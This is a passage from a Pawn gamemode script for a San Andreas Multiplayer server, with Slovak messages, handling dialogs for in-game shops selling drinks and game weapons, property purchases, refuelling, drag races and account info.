                if(listitem == 0)
                {
                    if(GetPlayerACMoney(playerid)<50) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazi !");
                    else
                    {
                        new string[128], Name[24];
                        GetPlayerName(playerid,Name,24);
                        format(string,128,"Hráč %s si kupil Sprunk !",Name);
                        SendClientMessageToAll(0xFFFFFF77,string);
                        GivePlayerACMoney(playerid,-50);
                        SetPlayerDrunkLevel(playerid,GetPlayerDrunkLevel(playerid)+0);
                        if(GetPlayerDrunkLevel(playerid)>=50000) SetPlayerDrunkLevel(playerid,50000);
                        SetPlayerSpecialAction(playerid,SPECIAL_ACTION_DRINK_SPRUNK);
                    }
                }
                if(listitem == 1)
                {
                    if(GetPlayerACMoney(playerid)<3500) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazi !");
                    else
                    {
                        new string[128], Name[24];
                        GetPlayerName(playerid,Name,24);
                        format(string,128,"Hráč %s si kupil Vodku !",Name);
                        SendClientMessageToAll(0xFFFFFF77,string);
                        GivePlayerACMoney(playerid,-3500);
                        SetPlayerDrunkLevel(playerid,GetPlayerDrunkLevel(playerid)+6750);
                        if(GetPlayerDrunkLevel(playerid)>=50000) SetPlayerDrunkLevel(playerid,50000);
                        SetPlayerSpecialAction(playerid,SPECIAL_ACTION_DRINK_WINE);
                    }
                }
                if(listitem == 2)
                {
                    if(GetPlayerACMoney(playerid)<5000) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazi !");
                    else
                    {
                        new string[128], Name[24];
                        GetPlayerName(playerid,Name,24);
                        format(string,128,"Hráč %s si kupil Whisky !",Name);
                        SendClientMessageToAll(0xFFFFFF77,string);
                        GivePlayerACMoney(playerid,-5000);
                        SetPlayerDrunkLevel(playerid,GetPlayerDrunkLevel(playerid)+10000);
                        if(GetPlayerDrunkLevel(playerid)>=50000) SetPlayerDrunkLevel(playerid,50000);
                        SetPlayerSpecialAction(playerid,SPECIAL_ACTION_DRINK_WINE);
                    }
                }
                if(listitem == 3)
                {
                    if(GetPlayerACMoney(playerid)<500) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazi !");
                    else
                    {
                        new string[128], Name[24];
                        GetPlayerName(playerid,Name,24);
                        format(string,128,"Hráč %s si kupil Šampanské !",Name);
                        SendClientMessageToAll(0xFFFFFF77,string);
                        GivePlayerACMoney(playerid,-500);
                        SetPlayerDrunkLevel(playerid,GetPlayerDrunkLevel(playerid)+3500);
                        if(GetPlayerDrunkLevel(playerid)>=50000) SetPlayerDrunkLevel(playerid,50000);
                        SetPlayerSpecialAction(playerid,SPECIAL_ACTION_DRINK_WINE);
                    }
                }
                if(listitem == 4)
                {
                    if(GetPlayerACMoney(playerid)<400) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazi !");
                    else
                    {
                        new string[128], Name[24];
                        GetPlayerName(playerid,Name,24);
                        format(string,128,"Hráč %s si kupil Pivo !",Name);
                        SendClientMessageToAll(0xFFFFFF77,string);
                        GivePlayerACMoney(playerid,-400);
                        SetPlayerDrunkLevel(playerid,GetPlayerDrunkLevel(playerid)+2000);
                        if(GetPlayerDrunkLevel(playerid)>=50000) SetPlayerDrunkLevel(playerid,50000);
                        SetPlayerSpecialAction(playerid,SPECIAL_ACTION_DRINK_BEER);
                    }
                }
                if(listitem == 5)
                {
                    if(GetPlayerACMoney(playerid)<100) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazi !");
                    else
                    {
                        new string[128], Name[24];
                        GetPlayerName(playerid,Name,24);
                        format(string,128,"Hráč %s si kupil Cigaretu !",Name);
                        SendClientMessageToAll(0xFFFFFF77,string);
                        GivePlayerACMoney(playerid,-100);
                        SetPlayerDrunkLevel(playerid,GetPlayerDrunkLevel(playerid)+600);
                        if(GetPlayerDrunkLevel(playerid)>=50000) SetPlayerDrunkLevel(playerid,50000);
                        SetPlayerSpecialAction(playerid,SPECIAL_ACTION_SMOKE_CIGGY);
                    }
                }
                if(listitem == 6)
                {
                    if(GetPlayerACMoney(playerid)<6000) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazi !");
                    else
                    {
                        new string[128], Name[24];
                        GetPlayerName(playerid,Name,24);
                        format(string,128,"Hráč %s si kupil Jointa !",Name);
                        SendClientMessageToAll(0xFFFFFF77,string);
                        GivePlayerACMoney(playerid,-6000);
                        SetPlayerDrunkLevel(playerid,GetPlayerDrunkLevel(playerid)+15000);
                        if(GetPlayerDrunkLevel(playerid)>=50000) SetPlayerDrunkLevel(playerid,50000);
                        SetPlayerSpecialAction(playerid,SPECIAL_ACTION_SMOKE_CIGGY);
                    }
                }
            }
             if(response) Player[playerid][IPIP]=false;
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_SecretAmmo)
        {
            if(response == 1)
            {
                if(listitem == 0)
                {
                    if(GetPlayerACMoney(playerid)<10000)
                    {
                        SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazi na kupu tejto zbrane !");
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                    else
                    {
                        GivePlayerACMoney(playerid,-10000);
                        GivePlayerWeapon(playerid,9,1);
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                }
                if(listitem == 1)
                {
                    if(GetPlayerACMoney(playerid)<200)
                    {
                        SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazi na kupu tejto zbrane !");
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                    else
                    {
                        GivePlayerACMoney(playerid,-200);
                        GivePlayerWeapon(playerid,16,1);
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                }
                if(listitem == 2)
                {
                    if(GetPlayerACMoney(playerid)<15000)
                    {
                        SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazi na kupu tejto zbrane !");
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                    else
                    {
                        GivePlayerACMoney(playerid,-15000);
                        GivePlayerWeapon(playerid,37,10);
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                }
                if(listitem == 3)
                {
                    if(GetPlayerACMoney(playerid)<25000)
                    {
                        SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazi na kupu tejto zbrane !");
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                    else
                    {
                        GivePlayerACMoney(playerid,-25000);
                        GivePlayerWeapon(playerid,34,5);
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                }
                if(listitem == 4)
                {
                    if(GetPlayerACMoney(playerid)<40000)
                    {
                        SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazi na kupu tejto zbrane !");
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                    else
                    {
                        GivePlayerACMoney(playerid,-40000);
                        GivePlayerWeapon(playerid,35,1);
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                }
                if(listitem == 5)
                {
                    if(GetPlayerACMoney(playerid)<50000)
                    {
                        SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazi na kupu tejto zbrane !");
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                    else
                    {
                        GivePlayerACMoney(playerid,-50000);
                        GivePlayerWeapon(playerid,40,1);
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                }
                if(listitem == 6)
                {
                    if(GetPlayerACMoney(playerid)<1000)
                    {
                        SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazi na kupu tejto zbrane !");
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                    else
                    {
                        GivePlayerACMoney(playerid,-1000);
                        GivePlayerWeapon(playerid,26,50);
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                }
                if(listitem == 7)
                {
                    if(GetPlayerACMoney(playerid)<250)
                    {
                        SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazi na kupu tejto zbrane !");
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                    else
                    {
                        GivePlayerACMoney(playerid,-250);
                        GivePlayerWeapon(playerid,28,100);
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                }
                if(listitem == 8)
                {
                    if(GetPlayerACMoney(playerid)<4000)
                    {
                        SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazi na kupu tejto zbrane !");
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                    else
                    {
                        GivePlayerACMoney(playerid,-4000);
                        GivePlayerWeapon(playerid,31,100);
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                }
                if(listitem == 9)
                {
                    if(GetPlayerACMoney(playerid)<500)
                    {
                        SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazi na kupu vesty !");
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                    else
                    {
                        GivePlayerACMoney(playerid,-500);
                        SetPlayerArmour(playerid,100);
                        ShowPlayerDialog(playerid,Dialog_SecretAmmo,DIALOG_STYLE_LIST,"Secret Ammo / Tajné Ammo","Motorovka (1 ks) (10000$)\nGranát (1 ks) (200$)\nPlameňomet (10 l) (15000$)\nSniperka (5 ks) (25000$)\nRPG (1 ks) (40000$)\nC4 (1 ks) (50000$)\nSawn - Off (50 ks) (1000$)\nUZI (100 ks) (250$)\nM4 (100 ks) (4000$)\n{ffff00}Armour (500$)","Kupit","Cancel");
                    }
                }
            }
             if(response == 0)
            {
                Player[playerid][IPIP]=false;
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Property)
        {
            if(response == 1)
            {
                new propertyid = Player[playerid][PropertyID];
                Player[playerid][IPIP]=false;

                     if(GetPlayerACMoney(playerid) < Property[propertyid][Price]) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazi !");
                else if(playerid == Property[propertyid][MajitelID]) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Už vlastníš tuto nehnuteľnosť ! !");
                else
                {
                    if(Property[propertyid][MajitelID] != 9999)
                    {
                        new ownerproperties = 0;
                        for(new i=0; i<MAX_PROPERTY; i++) if(Property[i][MajitelID] == Property[propertyid][MajitelID]) ownerproperties++;
                       
                        if(ownerproperties == 1)
                        {
                            return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Ľutujeme, ale vlastník tejto nehnuteľnosti vlastní iba tuto jedinu nehnuteľnosť a preo mu ju nemôžeš odkupiť !");
                        }
                   
                        new string[128], Name[24];
                        GetPlayerName(playerid,Name,24);
                        format(string,128,"[  !  ]{ffffff} Hráč %s (%d) odkupil jednu z tvojích nehnuteľnosti !",Name,playerid);
                        SendClientMessage(Property[propertyid][MajitelID], COLOR_WARNING, string);
                        GivePlayerMoney(Property[propertyid][MajitelID], floatround(floatmul(Property[propertyid][Price], 0.75)));
                    }

                    GivePlayerACMoney(playerid, -Property[propertyid][Price]);
                    Property[propertyid][MajitelID] = playerid;
                    SendClientMessage(playerid,COLOR_WHITE,"Kupil si si novu nehnuteľnosť.");
                }
            }
             if(response == 0)
            {
                Player[playerid][IPIP]=false;
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_FuelPump)
        {
            if(response == 1)
            {
                new vehicle = GetPlayerVehicleID(playerid);
                new fuel = strval(inputtext);
                new fuelx = MAX_VEHICLE_FUEL - VehicleFuel[vehicle];

                     if(!IsPlayerInAnyVehicle(playerid))                return GameTextForPlayer(playerid,"~r~Nie si v aute !",2500,5);
                else if(!inputtext[0] || !inputtext[1])                 return SendClientMessage(playerid,COLOR_WARNING,"Nezadal si počet Fuel Pointov !");
                else if(fuel<=0)                                        return SendClientMessage(playerid,COLOR_WARNING,"Nemôžeš zadať záporné číslo alebo nulu !");
                else if(fuel>fuelx)                                        return SendClientMessage(playerid,COLOR_WARNING,"Môžeš mať maximálne 10000 Fuel Pointos !");
                else if(GetPlayerACMoney(playerid) < strval(inputtext))    return SendClientMessage(playerid,COLOR_WARNING,"Nemáš dostatok peňazi na natankovánie !");
                else if(IsPlayerInAnyVehicle(playerid))
                {
                    new msg[128];
                    format(msg,128,"Natankoval si si %d Fuel Points za %d$ !", fuel,strval(inputtext));
                    SendClientMessage(playerid, COLOR_WHITE, msg);
                    GivePlayerACMoney(playerid, -strval(inputtext));
                    SetVehicleFuel(vehicle, fuel);
                }
                SetTimerEx("IsPlayerInPickupFalse",2500,0,"i",playerid);
            }
             if(response == 0)
            {
                SetTimerEx("IsPlayerInPickupFalse",2500,0,"i",playerid);
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Drag1)
        {
            if(response == 1)
            {
                if(listitem == 0)
                {
                    ShowPlayerDialog(playerid,Dialog_Drag11,DIALOG_STYLE_INPUT,"Drag","Zadaj počiatočnu sumu ktoru musia hráči\nzaplatiť aby sa mohli pripojiť do dragu","Create","Cancel");
                }
                if(listitem == 1)
                {
                    new string[128], way2[32];
                    format(way2,32,"SL/Server/HighScore.cfg");
                    format(string, 128, "Nejlepší čas: %f\nHráč: %s", dini_Float(way2,"DragTime"), dini_Get(way2,"Name"));
                    ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Drag - High Score",string,"OK","Cancel");
                }
            }
             if(response == 0)
            {
                SetTimerEx("IsPlayerInPickupFalse",4000,0,"i",playerid);
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Drag11)
        {
            if(response == 1)
            {
                SetTimerEx("IsPlayerInPickupFalse",2000,0,"i",playerid);

                     if(!strval(inputtext[0])) return ShowPlayerDialog(playerid,Dialog_Drag11,DIALOG_STYLE_INPUT,"Drag","{ff0000}Nezadal si sumu !{ffffff}\nZadaj počiatočnu sumu ktoru musia hráči\nzaplatiť aby sa mohli pripojiť do dragu","Create","Cancel");
                else if(strval(inputtext[0])<0) return ShowPlayerDialog(playerid,Dialog_Drag11,DIALOG_STYLE_INPUT,"Drag","{ff0000}Nemôžeš zadať záporné číslo !{ffffff}\nZadaj počiatočnu sumu ktoru musia\nzaplatiť aby sa mohli pripojiť do dragu","Create","Cancel");
                else if(strval(inputtext[0])>GetPlayerACMoney(playerid)) return ShowPlayerDialog(playerid,Dialog_Drag11,DIALOG_STYLE_INPUT,"Drag","{ff0000}Nemáš dostatok peňazi !{ffffff}\nZadaj počiatočnu sumu ktoru musia\nzaplatiť aby sa mohli pripojiť do dragu","Create","Cancel");
                else
                {
                    new vehicle = GetPlayerVehicleID(playerid);
                    new msgta[128], Name[24];
                    GetPlayerName(playerid,Name,24);
                    format(msgta,128,"[ DRAG ] Hráč %s (%d) založil Drag zo zaápisným %d$ !",Name,playerid,strval(inputtext[0]));
                    SendClientMessageToAll(COLOR_GOLD,msgta);
                    SendClientMessage(playerid,COLOR_GOLD,"[ DRAG ] Pre začatie dragu napiš /dragstart");
                    GivePlayerACMoney(playerid, -strval(inputtext[0]));
                    Drag[StartMoney] = strval(inputtext[0]);
                    Drag[Reward] = strval(inputtext[0]);
                    Drag[State]=1;
                    Drag[Players]=1;
                    Drag[RaceTime]=0;
                    Drag[StartTime]=5;
                    Player[playerid][DragRacer]=1;
                    SetVehiclePos(vehicle,1648.218,-1877.338,24.841);
                    SetVehicleZAngle(vehicle,14.6);
                    PutPlayerInVehicle(playerid,vehicle,0);
                    TogglePlayerControllable(playerid,0);
                    Player[playerid][IPIP]=false;
                }
            }
             if(response == 0) SetTimerEx("IsPlayerInPickupFalse",4000,0,"i",playerid);

        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Drag2)
        {
            if(response == 1)
            {
                if(listitem == 0 && GetPlayerVehicleID(playerid) > 0)
                {
                    SetTimerEx("IsPlayerInPickupFalse",2000,0,"i",playerid);

                         if(Drag[Players]>=3) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Drag","{ff0000}Ľutujeme ale v dragu je už\npripojený maximálny počet hráčov !","OK","Cancel");
                    else if(Drag[State]==2) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Drag","{ff0000}Ľutujeme ale drag bol už odštartovany, počkaj chviľu.","OK","Cancel");
                    else if(GetPlayerACMoney(playerid)<Drag[StartMoney]) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Drag","{ff0000}Nemáš dostatok peňazi na zaplatenie štartovného !","OK","Cancel");
                    else
                    {
                        if(Drag[Players]==1)
                        {
                              GivePlayerACMoney(playerid,-Drag[StartMoney]);
                              Drag[Reward]+=Drag[StartMoney];
                            Drag[Players]++;
                            Player[playerid][DragRacer]=1;
                            new vehicle = GetPlayerVehicleID(playerid);
                            SetVehiclePos(vehicle,1644.063,-1877.338,24.841);
                            SetVehicleZAngle(vehicle,14.7);
                            PutPlayerInVehicle(playerid,vehicle,0);
                            TogglePlayerControllable(playerid,0);
                            new msgta[128], Name[24];
                            GetPlayerName(playerid,Name,24);
                            format(msgta,128,"[ DRAG ] Hráč %s (%d) sa pripojil do Dragu !",Name,playerid);
                            SendClientMessageToAll(COLOR_GOLD,msgta);
                            Player[playerid][IPIP]=false;
                        }
                        else if(Drag[Players]==2)
                        {
                            GivePlayerACMoney(playerid,-Drag[StartMoney]);
                            Drag[Reward]+=Drag[StartMoney];
                            Drag[Players]++;
                            Player[playerid][DragRacer]=1;
                            new vehicle = GetPlayerVehicleID(playerid);
                            SetVehiclePos(vehicle,1639.989,-1878.480,24.841);
                            SetVehicleZAngle(vehicle,16.3);
                            PutPlayerInVehicle(playerid,vehicle,0);
                            TogglePlayerControllable(playerid,0);
                            new msgta[128], Name[24];
                            GetPlayerName(playerid,Name,24);
                            format(msgta,128,"[ DRAG ] Hráč %s (%d) sa pripojil do Dragu !",Name,playerid);
                            SendClientMessageToAll(COLOR_GOLD,msgta);
                            Player[playerid][IPIP]=false;
                        }
                    }
                }
                if(listitem == 1)
                {
                    new string[128], way2[32];
                    format(way2,32,"SL/Server/HighScore.cfg");
                    format(string,128,"Nejlepší čas: %f\nHráč: %s",dini_Float(way2,"DragTime"),dini_Get(way2,"Name"));
                    ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Drag - High Score",string,"OK","Cancel");
                }
            }
             if(response == 0) SetTimerEx("IsPlayerInPickupFalse",3000,0,"i",playerid);
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Info1)
        {
            if(response == 1)
            {
                if(listitem == 0) ShowPlayerDialog(playerid,Dialog_Info2,DIALOG_STYLE_INPUT,"Change password","{ffffff}Zadej své staré heslo:","Dále","Cancel");
                if(listitem == 1)
                {
                    if(GetPlayerMoney(playerid)<100000) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš 100 000$ !");
                    else ShowPlayerDialog(playerid,Dialog_Info4,DIALOG_STYLE_INPUT,"Change name","{ffffff}Zadaj svoje nové meno:","Change","Cancel");
                }
                if(listitem == 2)
                {
                    new IPAddress[128];
                    GetPlayerIp(playerid, IPAddress, 128);
                    new Text2[256];
                    format(Text2,256,"{ffffff}Tvoja IP adresa je:\n{ffff00}%s",IPAddress);
                    ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Moja IP adress",Text2,"OK","Cancel");
                }
                if(listitem == 3)
                {
                    new Name[24];
                    new Text2[256];
                    new house[16];
                    new firm[16];
                    new clan[64];
                    new cway87f9[64];

                    GetPlayerName(playerid,Name,24);

                    if(Player[playerid][ClanP] != 9999) format(cway87f9,64,"SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                         if(Player[playerid][HouseP]==9999) house="-none-";
                    else if(Player[playerid][HouseP]!=9999) format(house,16," %d", Player[playerid][HouseP]);

                         if(Player[playerid][FirmP]==9999) firm="-none-";
                    else if(Player[playerid][FirmP]!=9999) format(firm,16," %d", Player[playerid][FirmP]);

                         if(Player[playerid][ClanP]==9999) clan="-none-";
                    else if(Player[playerid][ClanP]!=9999) format(clan,64," %d (%s)", Player[playerid][ClanP], dini_Get(cway87f9, "Name"));

                         if(Player[playerid][Minutes] < 9) format(Text2,256,"Name: %s\nID: %d\nKills: %d\nDeaths: %d\nHouse ID:%s\nFirm ID:%s\nClan ID:%s\nTime: %d:0%d",Name,playerid,Player[playerid][Kills],Player[playerid][Deaths],house,firm,clan,Player[playerid][Hours],Player[playerid][Minutes]);
                    else if(Player[playerid][Minutes]>=10) format(Text2,256,"Name: %s\nID: %d\nKills: %d\nDeaths: %d\nHouse ID:%s\nFirm ID:%s\nClan ID:%s\nTime: %d:%d",Name,playerid,Player[playerid][Kills],Player[playerid][Deaths],house,firm,clan,Player[playerid][Hours],Player[playerid][Minutes]);

                    ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Account Info",Text2,"Cancel","");
                }
                if(listitem == 4)
                {
                    if(Player[playerid][VIP]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nie si VIP Člen !");
                    else
                    {
                        new string[256],
                            viptarif[64]
                        ;

                             if(Player[playerid][VIP]==1) viptarif="Bronze";
                        else if(Player[playerid][VIP]==2) viptarif="Silver";
                        else if(Player[playerid][VIP]==3) viptarif="Gold";

                        new way[32];
                        new Name[24];
                        GetPlayerName(playerid,Name,24);
                        format(way,32,"SL/%s.cfg",Name);

                        new Float:timeleft;
